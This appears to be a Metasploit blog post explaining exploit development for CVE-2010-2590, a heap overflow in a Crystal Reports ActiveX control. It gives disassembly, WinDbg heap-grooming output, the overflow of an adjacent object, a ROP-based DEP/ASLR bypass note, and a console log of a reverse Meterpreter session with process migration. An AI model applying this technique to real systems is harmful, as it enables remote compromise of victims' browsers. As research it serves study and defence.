Last updated at Tue, 06 Feb 2024 21:57:59 GMT
In this blog post we would like to share some details about the exploit for CVE-2010-2590, which we released in the last Metasploit update. This module exploits a heap-based buffer overflow, discovered by Dmitriy Pletnev, in the CrystalReports12.CrystalPrintControl.1 ActiveX control included in PrintControl.dll. This control is shipped with the Crystal Reports Viewer, as installed by default with Crystal Reports 2008. While this is a vulnerability from the end of 2010, its exploitation has some interesting details related to heap exploitation we would like to share.
The vulnerability
The heap-based overflow, according to the provided information, occurs when setting a specially crafted ServerResourceVersion property value in a string. The next code is discovered when looking at the setter for the ServerResourceVersion property:
.text:3F14254B ; int __stdcall set_ServerResourceVersion_sub_3F14254B(int, wchar_t *)
.text:3F14254B PrintControl_ref_arg_0= dword ptr 4
.text:3F14254B user_string_arg_4= dword ptr 8
.text:3F14254B
.text:3F14254B mov eax, [esp+PrintControl_ref_arg_0]
.text:3F14254F add eax, 52Ch
.text:3F142554 cmp word ptr [eax], 0
.text:3F142558 jnz short loc_3F142566
.text:3F14255A push [esp+user_string_arg_4] ; wchar_t *
.text:3F14255E push eax ; wchar_t *
.text:3F14255F call _wcscpy
.text:3F142564 pop ecx
.text:3F142565 pop ecx
.text:3F142566
.text:3F142566 loc_3F142566: ; CODE XREF: set_ServerResourceVersion_sub_3F14254B+D j
.text:3F142566 xor eax, eax
.text:3F142568 retn 8
Indeed the dangerous wcscpy function is used to store an user provided string as ServerResourceVersion property for the CrystalPrintControl class. The function receives a pointer to the CrystalPrintControl object as first argument, and the 0x52c offset is used to store the provided string (second argument). We can use debugging to verify where the CrystalPrintControl object is stored:
ModLoad: 03da0000 03daf000 C:\Program Files\Business Objects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl_res_en.d ll
Breakpoint 0 hit
eax=7ffd6000 ebx=3f18a820 ecx=3f14254b edx=0024949a esi=0201f508 edi=00000000
eip=3f14254b esp=0201f2a0 ebp=0201f2b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
PrintControl+0x254b:
3f14254b 8b442404 mov eax,dword ptr [esp+4] ss:0023:0201f2a4=183cd503
0:008> dd esp L3
0201f2a0 77135cd9 03d53c18 028deebc
0:008> !address 03d53c18
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Heap
Base Address: 03d50000
End Address: 03d55000
Region Size: 00005000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 03d50000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap 0x3d50000
More info: heap segment
More info: heap entry containing the address: !heap -x 0x3d53c18
0:008> !heap
Index Address Name Debugging options enabled
1: 00150000
2: 00250000
3: 00260000
4: 00350000
5: 00380000
6: 00980000
7: 02760000
8: 02810000
9: 03130000
10: 03170000
11: 031b0000
12: 02f20000
13: 03640000
14: 03740000
15: 03770000
16: 03890000
17: 03d30000
18: 03d40000
19: 03d50000
20: 03d60000
0:008> !heap -p -a 03d53c18
address 03d53c18 found in
_HEAP @ 3d50000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03d53c10 0128 0000 [01] 03d53c18 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
As expected, the CrystalPrintControl object is stored in the heap, specifically in a chunk of 0x938 bytes. Since the ServerResourceVersion is stored at the offset 0x52c, by providing a string bigger than 0x40c bytes it's possible to overflow the heap space allocated for the CrystalPrintControl object. The interesting detail to have into account is the heap where the class is stored. As you can notice it isn't stored in the default process heap (0x00150000), because of this well known javascript feng shui techniques can't be used to control the heap.
The Heap
As said just above, the vulnerable ActiveX, which lives on the PrintControl.dll module, will use a dedicated heap, created during the CRT Runtime initialization. Then memory will be allocated with the use of the C runtime new() function. In the case of creation of a CrystalPrintControl object, an allocation of the "vulnerable" size can be observed. Feel free to check the attached prezi presentation (thanks sinn3r!) for details:
Exploitation
Since a heap allocation of 0x938 bytes will be done to store each CrystalPrintControl object, we should be able to create more 0x938 allocations, in the vulnerable heap, by just creating more CrystalPrintControl objects. It can be tested with a JavaScript code like this one (tested on IE8 / XP SP3):
- At alert(1) - Any allocation:
0:017> !heap -flt s 0x938
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000
_HEAP @ 350000
_HEAP @ 380000
_HEAP @ 980000
_HEAP @ 2760000
_HEAP @ 2810000
_HEAP @ 3100000
_HEAP @ 3130000
- At alert(2) - 5 allocations:
0:017> !heap -flt s 0x938
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000
_HEAP @ 350000
_HEAP @ 380000
_HEAP @ 980000
_HEAP @ 2760000
_HEAP @ 2810000
_HEAP @ 3100000
_HEAP @ 3130000
_HEAP @ 3240000
_HEAP @ 35f0000
_HEAP @ 3600000
_HEAP @ 3610000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03613c10 0128 0000 [01] 03613c18 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03614550 0128 0128 [01] 03614558 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03614e90 0128 0128 [01] 03614e98 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
036157d0 0128 0128 [01] 036157d8 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03616110 0128 0128 [01] 03616118 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
_HEAP @ 3620000
- At alert(3) - 10 allocations:
0:017> !heap -flt s 0x938
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000
_HEAP @ 350000
_HEAP @ 380000
_HEAP @ 980000
_HEAP @ 2760000
_HEAP @ 2810000
_HEAP @ 3100000
_HEAP @ 3130000
_HEAP @ 3240000
_HEAP @ 35f0000
_HEAP @ 3600000
_HEAP @ 3610000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03613c10 0128 0000 [01] 03613c18 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03614550 0128 0128 [01] 03614558 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03614e90 0128 0128 [01] 03614e98 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
036157d0 0128 0128 [01] 036157d8 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03616110 0128 0128 [01] 03616118 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03616ae8 0128 0128 [01] 03616af0 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03617428 0128 0128 [01] 03617430 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03617d68 0128 0128 [01] 03617d70 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
036186a8 0128 0128 [01] 036186b0 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03618fe8 0128 0128 [01] 03618ff0 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
_HEAP @ 3620000
With it in mind by just creating CrystalPrintControl objects, more 0x938 size objects (as the vulnerable one) can be created in the same heap. According to empirical tests 10 allocations seems to be sufficient to get the heap defragmented and put CrystalPrintControl objects consecutive in memory. Look at the next code modified from the one before:
At the moment of alert(1); it's the state of the CrystalPrintControl objects at memory:
0:018> !heap -flt s 938
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000
_HEAP @ 350000
_HEAP @ 380000
_HEAP @ 980000
_HEAP @ 2760000
_HEAP @ 2810000
_HEAP @ 3210000
_HEAP @ 3240000
_HEAP @ 3350000
_HEAP @ 3700000
_HEAP @ 3810000
_HEAP @ 3820000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03823c10 0128 0000 [01] 03823c18 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03824550 0128 0128 [01] 03824558 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03824e90 0128 0128 [01] 03824e98 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
038257d0 0128 0128 [01] 038257d8 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03826110 0128 0128 [01] 03826118 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03826a50 0128 0128 [01] 03826a58 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03827390 0128 0128 [01] 03827398 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03827cd0 0128 0128 [01] 03827cd8 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03828610 0128 0128 [01] 03828618 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03828f50 0128 0128 [01] 03828f58 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
_HEAP @ 3830000
By setting the ServerResourceVersion property of the 9th object with more than 0x40C bytes (fill the 9th CrystalPrintControl object) plus 8 bytes (fill the 10th heap chunk header), finally the 10th CrystalPrintControl object in memory can be overflowed (located at 0x3828f58). After the overflow:
0:008> !heap -flt s 938
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000
_HEAP @ 350000
_HEAP @ 380000
_HEAP @ 980000
_HEAP @ 2760000
_HEAP @ 2810000
_HEAP @ 3210000
_HEAP @ 3240000
_HEAP @ 3350000
_HEAP @ 3700000
_HEAP @ 3810000
_HEAP @ 3820000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03823c10 0128 0000 [01] 03823c18 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03824550 0128 0128 [01] 03824558 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03824e90 0128 0128 [01] 03824e98 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
038257d0 0128 0128 [01] 038257d8 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03826110 0128 0128 [01] 03826118 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03826a50 0128 0128 [01] 03826a58 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03827390 0128 0128 [01] 03827398 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03827cd0 0128 0128 [01] 03827cd8 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
03828610 0128 0128 [01] 03828618 00938 - (busy)
? PrintControl!DllUnregisterServer+320c4
_HEAP @ 3830000
What happened with the 10th object? It has been overflowed, both the heap chunk header and the object:
0:008> dd 03828f50 L2
03828f50 41414141 41414141
0:008> dd 03828f58 L4
03828f58 41414141 41414141 41414141 41414141
And when trying to use (dereference) the overflowed CrystalPrintControl object and invoke one of its methods, an interesting crash from the exploitation point of view happens:
(da8.cbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0035b9a8 ecx=0201f608 edx=0201f5e4 esi=00355da8 edi=03828f58
eip=633a8dcb esp=0201f5b8 ebp=0201f5d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
jscript!IDispatchGetIDsOfNames+0x86:
633a8dcb 8b4014 mov eax,dword ptr [eax+14h] ds:0023:41414155=????????
0:008> u 633A8DC9 L 9
jscript!IDispatchGetIDsOfNames+0x84:
633a8dc9 8b07 mov eax,dword ptr [edi]
633a8dcb 8b4014 mov eax,dword ptr [eax+14h]
633a8dce 51 push ecx
633a8dcf 6809040000 push 409h
633a8dd4 6a01 push 1
633a8dd6 52 push edx
633a8dd7 6824723a63 push offset jscript!GUID_NULL (633a7224)
633a8ddc 57 push edi
633a8ddd ffd0 call eax
0:008> kb
ChildEBP RetAddr Args to Child
0201f5d0 633a8d5c 0201f5e4 0201f608 633a74d8 jscript!IDispatchGetIDsOfNames+0x86
0201f5e8 633aa51f 0035b9a8 0201f608 0035f974 jscript!GetDispatchDispID+0x2c
0201f610 633a99b7 0035b9a8 0201f738 00000002 jscript!VAR::InvokeByName+0x74
0201f7a8 633a5ab0 0201f7c0 0201f908 0201f908 jscript!CScriptRuntime::Run+0x655
0201f890 633a59f7 0201f908 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff
0201f8dc 633a5743 0201f908 00000000 00000000 jscript!ScrFncObj::Call+0x8f
0201f958 633891f1 0035f9b8 0201fb18 00000000 jscript!CSession::Execute+0x175
0201f9a4 63388f65 0035b758 0201fb18 0201fb28 jscript!COleScript::ExecutePendingScripts+0x1c0
0201fa08 63388d7f 0035b758 028ade04 635be83c jscript!COleScript::ParseScriptTextCore+0x29a
0201fa30 635bf025 0035b75c 02910d34 028ade04 jscript!COleScript::ParseScriptText+0x30
0201fa88 635be7ca 0023e820 00000000 02838060 mshtml!CScriptCollection::ParseScriptText+0x219
0201fb4c 635be5ab 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3a9
0201fb80 635ac020 7c80932e 001f8820 001f8820 mshtml!CScriptElement::Execute+0xc4
0201fbd4 635a74f0 0283e360 7c80932e 001f8820 mshtml!CHtmParse::Execute+0x4a
0201fbec 635a7266 635a6a75 02f6d3d0 001f8820 mshtml!CHtmPost::Broadcast+0xf
0201fcac 635ac2b8 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Exec+0x5f6
0201fcc4 635ac21b 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Run+0x15
0201fce4 635ac17e 0022c280 02f6d3d0 001f8820 mshtml!PostManExecute+0x1fd
0201fd04 635ac0e2 00000001 0000007f 0201fd24 mshtml!PostManResume+0xf8
0201fd14 63655d60 0024a840 001f8820 0201fd58 mshtml!CHtmPost::OnDwnChanCallback+0x10
0201fd24 6364de62 0024a840 00000000 0022c280 mshtml!CDwnChan::OnMethodCall+0x19
0201fd58 6363c3c5 0201fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0201fd78 7e418734 001c0524 00000008 00000000 mshtml!GlobalWndProc+0x183
0201fda4 7e418816 6363c317 001c0524 00008002 USER32!InternalCallWinProc+0x28
0201fe0c 7e4189cd 00000000 6363c317 001c0524 USER32!UserCallWinProcCheckWow+0x150
0201fe6c 7e418a10 0201fe94 00000000 0201feec USER32!DispatchMessageWorker+0x306
0201fe7c 00cb2ec9 0201fe94 00000000 00355aa8 USER32!DispatchMessageW+0xf
0201feec 00c548bf 00182148 00000001 0015fe68 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
0201ffa4 5de05a60 00355aa8 0bf0002f 0201ffec IEFRAME!LCIETab_ThreadProc+0x2c1
0201ffb4 7c80b713 0015fe68 00000001 0bf0002f iertutil!CIsoScope::RegisterThread+0xab
0201ffec 00000000 5de05a52 0015fe68 00000000 kernel32!BaseThreadStart+0x37
In this case, the vulnerable ActiveX (PrintControl) also ships the well known msvcr71.dll, which can be used to bypass DEP/ASLR protections via rop chain:
So far so good, time to demo the metasploit module!
msf exploit(crystal_reports_printcontrol) > exploit
[*] Reloading module...
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.129:4444
[*] Using URL: http://0.0.0.0:8080/IXWArTzszXQO
[*] Local IP: http://192.168.1.129:8080/IXWArTzszXQO
[*] Server started.
msf exploit(crystal_reports_printcontrol) > [*] 192.168.1.137 crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.137 crystal_reports_printcontrol - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137 crystal_reports_printcontrol - Using JRE ROP
[*] 192.168.1.137 crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.137:49654) at 2012-12-14 12:44:02 +0100
[*] Session ID 1 (192.168.1.129:4444 -> 192.168.1.137:49654) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1648)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2484
[+] Successfully migrated to process
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.
PD: As always, thanks to sinn3r for keep reviewing and helping to make it look better!